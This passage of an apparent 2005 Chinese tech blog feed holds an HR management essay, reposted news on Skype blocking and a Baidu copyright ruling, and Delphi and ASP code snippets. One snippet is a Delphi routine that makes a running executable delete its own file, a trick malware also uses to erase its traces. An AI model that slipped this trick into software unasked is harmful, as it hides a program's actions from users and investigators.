<DIV><FONT size=3></FONT>&nbsp;</DIV>
<DIV><FONT size=3></FONT>&nbsp;</DIV>
<DIV><FONT size=3><FONT size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>另外一个极其重要的地方，就是<STRONG>员工培训与团队建设</STRONG>。很多傻冒老板扯着脖子喊，我们让每个人来不仅是要他们能够贡献东西的，还是能学到东西的。我劝一句，您要是不知道怎么做到这一点，您还是闷着声别扯淡。任何一个人不是说平白无故就可以学到东西的。为了你的员工，你应该积极的在开始进行team building，简单的可以大家度假去玩，稍微复杂的可以聘请一个团队培训机构。如果人少就更加好办了，一个简单的欢迎会，大家作个小游戏（比如杀人游戏），就全都解决了。这样的好处是，大家利用宽松的环境陶冶了情操，熟悉了彼此的爱好，找到了共同点，打破了沟通的坚冰，将来相处一起共事就会愉快的多。毕竟有的人呆在办公室比在家都多，大家关系处不好，怎么开展有效工作？如果大家彼此矛盾重重，你怎么能保证你想要留住的人才不被孤立出走？</FONT></DIV>
<DIV><FONT size=3></FONT>&nbsp;</DIV>
<DIV><FONT size=3><FONT size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>在保证了这个基础之上，就是要定期给不同级别的人进行不同的培训了。像高级职位的人，可以定期请讲师来进行一些职业理念方面的培训，而中层员工也可以定期搞一些讲座，大家一起听听项目管理以及相关业务的课程。至于说基层员工，则可以要求中层员工为他们定期进行相关技能操作的指导。这比什么单纯开开会，洗洗脑有用多了。员工会觉得真正得到了自我提高，你自己也收获了更有能力的员工。</FONT></DIV>
<DIV><FONT size=3></FONT>&nbsp;</DIV>
<DIV><FONT size=3><FONT size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>除此之外，为了保证员工有一个良好的合理的竞争提高的机制，人力资源近几年逐渐引入了KPI考核。一个资深的人力管理师，可以很好的与各个级别的经理根据实际工作情况，逐步建立考核的指标。但是这个指标往往并不着急，至少在人数小于10人的公司，不着急。因为这个时期，往往各个职位的人都会非常明确自己的具体情况，应该去做什么。而且每个人做的事情绝对不是固定限制死的。你拿出一个KPI来，往往效果是员工只做规定范围的事情，其他事情跟我无关。大公司可以，小公司不可以。小公司是高级人带着低级人摸着石头过河，更加需要的是每个人多做一点事情，作的事情不是很具体。</FONT></DIV>
<DIV><FONT size=3></FONT>&nbsp;</DIV>
<DIV><FONT size=3><FONT size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>而真正确保让员工有家一般温暖的，还是业余生活培养。很多公司会定期发电影票抵用卷，或者定期包下一些运动场地，包括逢年过节组织一些内部有奖晚会。因为他们知道，正常人都需要有自己的爱好和休闲，一个人如果除了整天就知道工作吃饭睡觉，早晚会傻掉死掉，也不会产生什么智慧，只是一个行尸走肉了。如果一个老板不仅不提供给员工休闲生活，还要限制员工休闲与爱好的时间，那么只有三个字来形容：法西斯。</FONT></DIV>
<DIV><FONT size=3></FONT>&nbsp;</DIV>
<DIV><FONT size=3><FONT size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>业余生活也是一个培养团队凝聚力的好时候。一起看电影就是大家在讨论一个话题，一起打球就是在培养配合意识，一起组织内部节目晚会就是在培养员工竞争意识。所以说，你说花钱做这些事情的公司都是傻子么？他们比猴还精呢！</FONT></DIV>
<DIV><FONT size=3></FONT>&nbsp;</DIV>
<DIV><FONT size=3><FONT size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>最后说说年假制度/股权制度。任何一个理性的公司，都要给员工一定的休假补偿。因为人不是机器，都会有倦怠期。虽然有年假不一定每一个人都会去用，尤其在开始很忙的时期，但是有了毕竟是不一样的。在工作逐渐稳定之后，一些中层职位的人就会慢慢有一些喘息机会。而且，一个理智的老板绝对应该希望自己的员工家庭稳定、感情幸福吧？那么如果家人生病、爱人有什么临时活动，总能稍微腾出一些空来。生病时间长了，也可以用年假抵一下。享受带薪假期的感觉，是让员工心中安定的一个重要环节。</FONT></DIV>
<DIV><FONT size=3></FONT>&nbsp;</DIV>
<DIV><FONT size=3><FONT size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>而股权制度，虽然说基本上大家都很难享受到吧。但是这也逐渐形成了一个趋势。毕竟，股权期权分配给大家，大家还是有一点点可能从中获得利益的。而这一点点可能，就是彩票热销的最基本动力。所以不要小看期权配股的潜在激励作用，它会给大家营造一种荣辱与共的气氛。</FONT></DIV>
<DIV><FONT size=3></FONT>&nbsp;</DIV>
<DIV><FONT size=3><FONT size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>所以说，人事的工作，是非常非常重要的，良好的人事制度在于引导和培养员工，在于鼓励员工做事；而一个恶劣的人事制度，则是压榨一时是一时。我们都知道在生产型企业，个人价值很低的单位，采用一个恶劣的人事制度倒是可以的。但是在it尤其是互联网行业这种普遍看重人才的行业，而且普遍制度非常人性化的行业，采用后面一种方式无非是自寻死路。</FONT></DIV>
<DIV><FONT size=3></FONT>&nbsp;</DIV>
<DIV><FONT size=3><FONT size=3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>所以说，人事制度，不是随便拉一个长的比较像做人事的人就能干好的。千里之堤，毁于蚁穴。人事工作虽然细微，但是却是整个公司运转的润滑油、催化剂，稍微长了个脑袋的老板，都应该好好思考这一点。</FONT></DIV>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=44" /> 
	  <id>http://www.openx.cn/default.asp?id=44</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[增加新服务(免费)]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=5" label="点点滴滴" /> 
	  <updated>2005-09-20T08:57:36+08:00</updated>
	  <published>2005-09-20T08:57:36+08:00</published>
		  <summary type="html"><![CDATA[<P>增加BT下载(<A href="http://bt.openx.cn">http://bt.openx.cn</A>)</P>
<P>代理查询(<A href="http://www.openx.cn/proxy/index.php">http://www.openx.cn/proxy/index.php</A>)</P>
<P>IP地址查询(<A href="http://www.openx.cn/ip/index.asp">http://www.openx.cn/ip/index.asp</A>)</P>
<P>网站排名查询(<A href="http://www.openx.cn/pm/index.asp">http://www.openx.cn/pm/index.asp</A>)</P>
<P>域名查询(<A href="http://www.openx.cn/domain/searchdns.asp">http://www.openx.cn/domain/searchdns.asp</A>)</P>
<P>周公解梦(<A href="http://www.openx.cn/zhougong/index.asp">http://www.openx.cn/zhougong/index.asp</A>)</P>
<P>&nbsp;</P>
<P>需要源代码可以留言索取</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=43" /> 
	  <id>http://www.openx.cn/default.asp?id=43</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[星战电影的DOS版]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-09-19T18:30:31+08:00</updated>
	  <published>2005-09-19T18:30:31+08:00</published>
		  <summary type="html"><![CDATA[<P>在Windows 开始-&gt;运行-&gt;输入 telnet towel.blinkenlights.nl</P>
<P>&nbsp;</P>
<P>作者实在是弓虽~没话说!</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=42" /> 
	  <id>http://www.openx.cn/default.asp?id=42</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Skype被封杀，又给互联网敲响了警钟]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-09-19T17:19:23+08:00</updated>
	  <published>2005-09-19T17:19:23+08:00</published>
		  <summary type="html"><![CDATA[<P>作者：满龟 <BR><BR>有报道说，中国电信正酝酿彻底封杀以Skype为代表的网络语音聊天工具，并已进入具体实施阶段。目前的具体措施包括封杀Skype服务器，使用户无法登录。 <BR><BR>很多人直接想到的是政策风险，也确实如此。《电信业务分类目录》规定了PhonetoPhone和PCtoPhone为基础电信业务，既然基础，就不是你想搞就能搞的。 <BR><BR>但这些政策究竟是谁制定的？名义上是政府，是监管机关，但实际起草和“技术论证”的是谁呢，谁在影响着此类政策呢，谁在中间使用“加减法”呢？难道你说，中国电信也是个旁观者，是这个政策的调整对象而已，你信？我也信，但更信它对这个政策的实际影响！ <BR><BR>所以，它的背后是“利益”，为什么要这样规定，说它是基础，说如何如何。因为它有利于维护既得利益者，也有利于维护电信的老大甚至垄断地位。但戴的帽子则是“为了维护基础电信的稳定和有序发展”！ <BR><BR>为什么叫政策，因为它灵活，它反应快，比一本正经的法律更有利于调整“创新”。但为什么创新的Skype面前，政策却不灵活了，却反应不快了。而且，它还有这么多公认的优点：“拨打固定电话”、“可以使用SkypeOut实现PC2Phone的功能，价格低廉而且音效很好”。。。。。。 <BR><BR>所以，核心词还是：利益。政策风险只不过又是一顶帽子！ <BR><BR>这给互联网敲响了警钟。互联网代表着创新，代表着活力。但它是社会的，它是逃不过社会这个更大的“网”。而且，中国的“网”和美国的“网”是不同的。 <BR><BR>互联网不光是需要创新，也需要“展示”的智慧和谨慎！</P>
<P>&nbsp;</P>
<P>摘:http://msnbbs.mop.com/readsubart.jsp?b=cjjj&sid=15364&sl=0</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=41" /> 
	  <id>http://www.openx.cn/default.asp?id=41</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[两PLMM学后舍男孩～]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-09-19T16:47:18+08:00</updated>
	  <published>2005-09-19T16:47:18+08:00</published>
		  <summary type="html"><![CDATA[<P>[wmv]attachments/hsns.wmv[/wmv]</P>
<P>&nbsp;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=40" /> 
	  <id>http://www.openx.cn/default.asp?id=40</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[百度MP3被判侵权 每首歌赔版权人2000]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-09-19T16:43:16+08:00</updated>
	  <published>2005-09-19T16:43:16+08:00</published>
		  <summary type="html"><![CDATA[<P>缘于34首歌曲未经授权&nbsp;按每首歌2000元赔偿版权人<BR></P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;由于在MP3搜索下载服务中提供未经版权人授权的歌曲，百度被歌曲版权人上海步升音乐文化传播有限公司告上法庭。昨天，海淀法院认定百度侵权，判令其立即停止涉案歌曲的下载服务，并赔偿步升音乐公司6.8万元。</P>
<P><BR>&nbsp;&nbsp;&nbsp;&nbsp;据步升公司介绍，今年3月，步升公司发现百度在MP3搜索下载服务中向用户提供了胡彦斌、许巍等演唱的《红颜》、《漫步》等46首歌曲，而这些歌曲的版权属于该公司。“这些歌曲的下载地址显示的都是‘mp3.baidu.com’，但我们从未授予过百度这些歌曲的版权。”</P>
<P><BR>&nbsp;&nbsp;&nbsp;&nbsp;百度公司对此解释说，用户申请下载服务时，百度为其提供的只是一个代码，“点击此代码后用户就进入链接到的其他网站，在这些网站上下载的音乐并不是百度提供的。”但步升公司认为百度应对其链接有无侵权进行检查并“完全能从技术上对未授权的歌曲进行屏蔽”。百度则表示，自己不可能也没有义务检查可能链接的8亿多中文网页上的所有公开信息，并精确判断出它们是否侵权。</P>
<P><BR>&nbsp;&nbsp;&nbsp;&nbsp;步升音乐公司还指出，百度在网站上以“歌曲列表”的形式对歌曲进行竞价排行，并在歌曲列表旁刊载商品广告，百度是在利用歌曲盈利。对此，百度多次辩称自己从未对歌曲进行列表，广告也是网站上“一直就有的”。<BR><BR>&nbsp;&nbsp;&nbsp;法院审理认为，用户并未向“百度”搜索系统发出查询指令，而是通过点击相关网页上的“MP3”、“歌手列表”等链接标识访问到载有涉案的“歌曲列表”网页；当用户访问下载涉案“歌曲列表”网页时，网页自动弹出的下载框注明该MP3文件来自“mp3.baidu.com”，同时网页刊有雀巢咖啡、摩托罗拉手机等商品广告；其下载的MP3歌曲与步升公司出版CD中的歌曲内容相同，而百度没有已被授权的证据，故判百度侵权。因步升公司提供的1张光盘与其他5张封面有区别，法院未主张该光盘中12首歌曲的权利，故判令百度立即停止侵权并按照每首歌2000元的价格赔偿步升公司34首歌曲6.8万元。百度当庭表示不服判决将上诉。<BR></P>
<P>摘：<A href="http://club.it.sohu.com/read-it-135521-0-0.html">http://club.it.sohu.com/read-it-135521-0-0.html</A></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=39" /> 
	  <id>http://www.openx.cn/default.asp?id=39</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[asp创建dsn]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-09-16T20:08:26+08:00</updated>
	  <published>2005-09-16T20:08:26+08:00</published>
		  <summary type="html"><![CDATA[&lt;%<BR><BR>Set xObj = Server.CreateObject("Softwing.OdbcRegTool")<BR>strDriver = "SQL Server"<BR>strDSN = "DSN=New SQL Server Data Source" & vbNullChar & "Description=New SQL Server Data Source" & vbNullChar<BR>strDSN = strDSN & "Server=(local)" & vbNullChar<BR>strDSN = strDSN & "DATABASE=pubs" & vbNullChar & vbNullChar<BR><BR>retval = xObj.CreateDSN(strDriver, strDSN)<BR>If retval = True then<BR>&nbsp;&nbsp;&nbsp;&nbsp;Response.Write "DSN Creation successful."<BR>else<BR>&nbsp;&nbsp;&nbsp;&nbsp;Response.Write "DSN Creation failed."<BR>%&gt;<BR>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=38" /> 
	  <id>http://www.openx.cn/default.asp?id=38</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[还未结束就能把自身删除的程序delphi版]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-09-16T20:05:44+08:00</updated>
	  <published>2005-09-16T20:05:44+08:00</published>
		  <summary type="html"><![CDATA[<TABLE cellSpacing=0 cellPadding=0 align=left border=0>
<TBODY>
<TR>
<TD>
<SCRIPT language=javascript src="/ad/js/edu_left_300-300.js"></SCRIPT>
</TD></TR></TBODY></TABLE>procedure DeleteSelf;<BR>var<BR>pExitProcess: Pointer;<BR>pDeletefile: Pointer;<BR>pUnmapViewOffile: Pointer;<BR>hModule: THANDLE;<BR>cBuf:array[0..MAX_PATH]of Char;<BR>begin<BR>hModule := GetModuleHandle('kernel32');<BR>if hModule &lt;&gt; 0 then<BR>begin<BR>pExitProcess := GetProcAddress(hModule, 'ExitProcess');<BR>pDeleteFile := GetProcAddress(hModule, 'DeleteFileA');<BR>pUnmapViewOfFile := GetProcAddress(hModule, 'UnmapViewOfFile');<BR>end else<BR>begin<BR>pExitProcess := nil;<BR>pDeleteFile := nil;<BR>pUnmapViewOfFile := nil;<BR>end; <BR>hModule := GetModuleHandle(nil);<BR>GetModuleFileName(hModule, cBuf, Sizeof(cBuf));<BR>CloseHandle(THANDLE(4));<BR>asm<BR>XOR EAX, EAX;<BR>PUSH EAX;<BR>PUSH EAX;<BR>LEA EAX, cBuf;<BR>PUSH EAX;<BR>MOV EAX, pExitProcess; PUSH EAX; MOV EAX, hModule; PUSH EAX; MOV EAX, pDeleteFile;<BR>PUSH EAX;<BR>MOV EAX, pUnmapViewOfFile;<BR>PUSH EAX;<BR>RET;<BR>end;<BR>end;]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=37" /> 
	  <id>http://www.openx.cn/default.asp?id=37</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[防止应用程序出现多个实例的通用单元]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-09-16T19:59:38+08:00</updated>
	  <published>2005-09-16T19:59:38+08:00</published>
		  <summary type="html"><![CDATA[<P class=content style="MARGIN: 4px 2px 0px">{ unit UniqueInstance; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<BR>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<BR>{ Check if previous application instance exists, if yes, the previous &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<BR>{ instance will be active, and current instance will be terminate. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<BR>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<BR>{ written by savetime, <A href="http://savetime.delphibbs.com/" target=_blank>http://savetime.delphibbs.com</A> 2004/6/27 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<BR>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<BR>{ Usage: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<BR>{ &nbsp; Include this unit to your delphi project, no more job to do. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<BR>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<BR>{ Important: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<BR>{ &nbsp; You must NOT remove the project line: Application.Initialize; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<BR>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<BR>{ Notes: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<BR>{ &nbsp; This unit identify an application by it''s EXE file name. So, if you want &nbsp; }<BR>{ &nbsp; to specify another unique application name, you must change the value &nbsp; &nbsp; &nbsp;}<BR>{ &nbsp; UniqueApplicationName in CheckPriviousInstance procedure. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<BR>{ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<BR><BR>unit UniqueInstance;<BR><BR>interface<BR><BR>uses Classes, SysUtils, Windows, Forms;<BR><BR>implementation<BR><BR>var<BR>&nbsp; UniqueMessageID: UINT;<BR>&nbsp; UniqueMutexHandle: THandle;<BR>&nbsp; PreviousWndProc: TFNWndProc;<BR>&nbsp; NextInitProc: Pointer;<BR><BR>function ApplicationWndProc(hWnd: HWND; uMsg: UINT; wParam: WPARAM;<BR>&nbsp; lParam: LPARAM): LResult; stdcall;<BR>begin<BR>&nbsp; // Note: Use "&lt;&gt;" may boost application speed.<BR>&nbsp; if uMsg &lt;&gt; UniqueMessageID then<BR>&nbsp; &nbsp; Result := CallWindowProc(PreviousWndProc, hWnd, uMsg, wParam, lParam)<BR>&nbsp; else begin<BR>&nbsp; &nbsp; if IsIconic(Application.Handle) then Application.Restore;<BR>&nbsp; &nbsp; SetForegroundWindow(Application.Handle);<BR>&nbsp; &nbsp; Result := 0;<BR>&nbsp; end;<BR>end;<BR><BR>procedure BringPreiviousInstanceForeground;<BR>const<BR>&nbsp; BSMRecipients: DWORD = BSM_APPLICATIONS;<BR>begin<BR>&nbsp; Broadca&#115;tSystemMessage(BSF_IGNORECURRENTTASK or BSF_POSTMESSAGE,<BR>&nbsp; &nbsp; @BSMRecipients, UniqueMessageID, 0, 0);<BR>&nbsp; Halt;<BR>end;<BR><BR>procedure SubClassApplication;<BR>begin<BR>&nbsp; PreviousWndProc := TFNWndProc(SetWindowLong(Application.Handle, GWL_WNDPROC,<BR>&nbsp; &nbsp; Integer(@ApplicationWndProc)));<BR>end;<BR><BR>procedure CheckPreviousInstance;<BR>var<BR>&nbsp; UniqueApplicationName: PChar;<BR>begin<BR>&nbsp; // Unique application name, default set to EXE file name,<BR>&nbsp; // you can change it to yourself.<BR>&nbsp; UniqueApplicationName := PChar(ExtractFileName(Application.ExeName));<BR><BR>&nbsp; // Register unique message id<BR>&nbsp; UniqueMessageID := RegisterWindowMessage(UniqueApplicationName);<BR><BR>&nbsp; // Create mutex object<BR>&nbsp; UniqueMutexHandle := CreateMutex(nil, False, UniqueApplicationName);<BR><BR>&nbsp; // Create mutex failed, terminate application<BR>&nbsp; if UniqueMutexHandle = 0 then<BR>&nbsp; &nbsp; Halt<BR>&nbsp; // The same named mutex exists, show previous instance<BR>&nbsp; else if GetLastError = ERROR_ALREADY_EXISTS then<BR>&nbsp; &nbsp; BringPreiviousInstanceForeground<BR>&nbsp; // No previous instance, subclass application window<BR>&nbsp; else<BR>&nbsp; &nbsp; SubClassApplication;<BR><BR>&nbsp; // Call next InitProc<BR>&nbsp; if NextInitProc &lt;&gt; nil then TProcedure(NextInitProc);<BR>end;<BR><BR>initialization<BR>&nbsp; // Must use InitProc to check privious instance,<BR>&nbsp; // as the reason of Application hasn''t been created!<BR>&nbsp; NextInitProc := InitProc;<BR>&nbsp; InitProc := @CheckPreviousInstance;<BR><BR>finalization<BR>&nbsp; // Close the mutex handle<BR>&nbsp; if UniqueMutexHandle &lt;&gt; 0 then CloseHandle(UniqueMutexHandle);<BR><BR>end. </P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=36" /> 
	  <id>http://www.openx.cn/default.asp?id=36</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[DELPHI中的Format函数]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-09-16T19:52:04+08:00</updated>
	  <published>2005-09-16T19:52:04+08:00</published>
		  <summary type="html"><![CDATA[<P><SPAN id=ArticleContent1_ArticleContent1_lblContent>function&nbsp;Format(const&nbsp;Format:&nbsp;string;&nbsp;const&nbsp;Args:&nbsp;array&nbsp;of&nbsp;const):&nbsp;string;&nbsp;$[SysUtils.pas<BR>功能&nbsp;返回按指定方式格式化一个数组常量的字符形式<BR>说明&nbsp;这个函数是我在Delphi中用得最多的函数，现在就列举几个例子给你个直观的理解<BR>"%"&nbsp;[索引&nbsp;":"]&nbsp;["-"]&nbsp;[宽度]&nbsp;["."&nbsp;摘要]&nbsp;类型<BR>Format(''x=%d'',&nbsp;[12]);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//''x=12''&nbsp;//最普通<BR>Format(''x=%3d'',&nbsp;[12]);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//''x=&nbsp;12''&nbsp;//指定宽度<BR>Format(''x=%f'',&nbsp;[12.0]);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//''x=12.00''&nbsp;//浮点数<BR>Format(''x=%.3f'',&nbsp;[12.0]);&nbsp;&nbsp;&nbsp;&nbsp;//''x=12.000''&nbsp;//指定小数<BR>Format(''x=%8.2f''[12.0])&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;&nbsp;''x=&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;12.00''&nbsp;;<BR>Format(''x=%.*f'',&nbsp;[5,&nbsp;12.0]);&nbsp;//''x=12.00000''&nbsp;//动态配置<BR>Format(''x=%.5d'',&nbsp;[12]);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//''x=00012''&nbsp;//前面补充0<BR>Format(''x=%.5x'',&nbsp;[12]);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//''x=0000C''&nbsp;//十六进制<BR>Format(''x=%1:d%0:d'',&nbsp;[12,&nbsp;13]);&nbsp;//''x=1312''&nbsp;//使用索引<BR>Format(''x=%p'',&nbsp;[nil]);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//''x=00000000''&nbsp;//指针<BR>Format(''x=%1.1e'',&nbsp;[12.0]);&nbsp;//''x=1.2E+001''&nbsp;//科学记数法<BR>Format(''x=%%'',&nbsp;[]);&nbsp;//''x=%''&nbsp;//得到"%"<BR>S&nbsp;:=&nbsp;Format(''%s%d'',&nbsp;[S,&nbsp;I]);&nbsp;//S&nbsp;:=&nbsp;S&nbsp;+&nbsp;StrToInt(I);&nbsp;//连接字符串<BR>==========&nbsp;&nbsp;<BR>,C&nbsp;Char,&nbsp;strings&nbsp;Character.&nbsp;Shows&nbsp;characters&nbsp;for&nbsp;ASCII&nbsp;0&nbsp;to&nbsp;31&nbsp;in&nbsp;the&nbsp;Delphi<BR>&nbsp;language&nbsp;#nn&nbsp;notation.<BR>,S&nbsp;Char,&nbsp;strings&nbsp;String.&nbsp;Shows&nbsp;ASCII&nbsp;0&nbsp;to&nbsp;31&nbsp;in&nbsp;Delphi&nbsp;language&nbsp;#nn&nbsp;notation.<BR>,D&nbsp;Integers&nbsp;Decimal.&nbsp;Shows&nbsp;integer&nbsp;values&nbsp;in&nbsp;decimal&nbsp;form,&nbsp;including&nbsp;those&nbsp;in&nbsp;<BR>data&nbsp;structures.<BR>,H&nbsp;or&nbsp;,X&nbsp;Integers&nbsp;Hexadecimal.&nbsp;Shows&nbsp;integer&nbsp;values&nbsp;in&nbsp;